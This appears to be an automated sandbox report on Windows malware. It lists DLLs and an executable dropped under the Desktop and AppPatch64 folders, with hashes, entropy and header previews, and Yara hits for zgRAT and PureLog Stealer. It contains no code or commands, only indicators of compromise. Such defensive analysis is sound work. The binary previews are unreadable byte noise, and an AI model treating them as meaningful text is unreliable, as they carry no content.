SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\YoGTvPZk.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YwplZyzq.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aqsBQydf.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\djHkCuPe.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gQSsYLcl.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\hogBtNYU.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jHIjfHde.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jckJfaUS.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lDwJvEzh.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\leXsAJYN.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mAXRREOc.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mNQamoeL.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\oGfIXkQJ.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\qZHqJfVT.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qqOIYBOV.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rnpQtBdQ.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vFGpGDDp.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\wtLyrQzn.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xWvqmuPI.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xgSpWhiF.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\apppatch\AppPatch64\22eafd247d37c3

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	ASCII text, with very long lines (610), with no line terminators
Category:	dropped
Size (bytes):	610
Entropy (8bit):	5.855999753150627
Encrypted:	false
SSDEEP:	12:Luxy4L9pMTRbZ0u+ketoPGH/ZoCxQp91Nahm2flQVi7aoxKLQuHCv9LVUA+:eD9paRbiu+kTP6aCxI9barf2w7a3tHCy
MD5:	9CA0D420FFA3B3992B3E20AD65E8385E
SHA1:	B9E13C28C6A2A8626FC5A9395B947BA4AB5C25AB
SHA-256:	5C9FAACEB4ECBEE1D1002AF2E390F3E2195D03630E0C503C071AC6B721F11C11
SHA-512:	515B09CDCC73A68E4FDEA0390FCF1C63908B14DA96191764FBFE8BD690AA750923EDBAB2C48A0358431BA3C952B0C2132AD5301794B256F7DCC6F4DC78A46F07
Malicious:	false
Preview:	zsg4FlCRn9PgBisu4aAQc6kh77L9dNHnncCzJsLYQV4oczw1iJ6lMIJ2I86HZDya2l3if2lLOlAHC6FILUaTQgaeTJrKvE9Nhew05NVqiuXlIB0M3y6FmeJVKYPWKaaKlwkiKOM78uufIzWRTfR7H4lCUaqh89fIUN9VbSCom9G2unNVC8CpIcCrLhNuip99OmK5zAzBdmVIxsSrMVe96092KSK3ESG7AGnHcSfCIBMfH43cPghMK9CXnSuh066LgYIrFKO4zc15oduQYroiu3wADPeKh8LMEB9twMXERmXrIHtJieIIRYamlHnzqEX1Qo0neAeMTjQIgE26gVmDzC4qkXIojiYNPfadQGphA6zsHSFgOqSVcUBOuKCG2znvKD2BnZpapED3NMiSRlZ2PDv5eMtGDioKTDhEZE3zB2pXRIAiluyRaugHR7haqjWHa2jKoe3Nsj0WXYoVMLeTtXuihZwbhcJcgi7Yi03H0kj04Ju3TLOeEDXDIBmPrbqQaY0ybPxWRXcIy4oXp2IVNoXcL3PgNoZZ4SafT5cDY2NqkOPOXPjzTUCvAXnh9QIn8DOfdIEtaE7Vbr17oBJ8EkFjQpe5S5EItj

C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3674624
Entropy (8bit):	7.817994023503708
Encrypted:	false
SSDEEP:	98304:k6aGC/A2HqiWfsfYyNVl7GElhj4RCM8U:kML2HqBsfRNVlyEYRC
MD5:	DF7F61CEDD325D4A957DC5E5D5B382FC
SHA1:	028CC5A397990D20D78CE7C7696A76CDCB54AAA7
SHA-256:	02DFA1D6C9F66DC0BA1659B87176D0CDE15C0F3E6791064A40FF7AEDBB427256
SHA-512:	6B3189BF8F02C3E8A6A299A2A853EC9E1BE0A1D30173FC4EEB13DEAD013F843989829A5871CDDB4C3BCA10D8D0762AFFADD5BF809D2DFE7B81C22D3295D97F8F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, Author: Joe Security
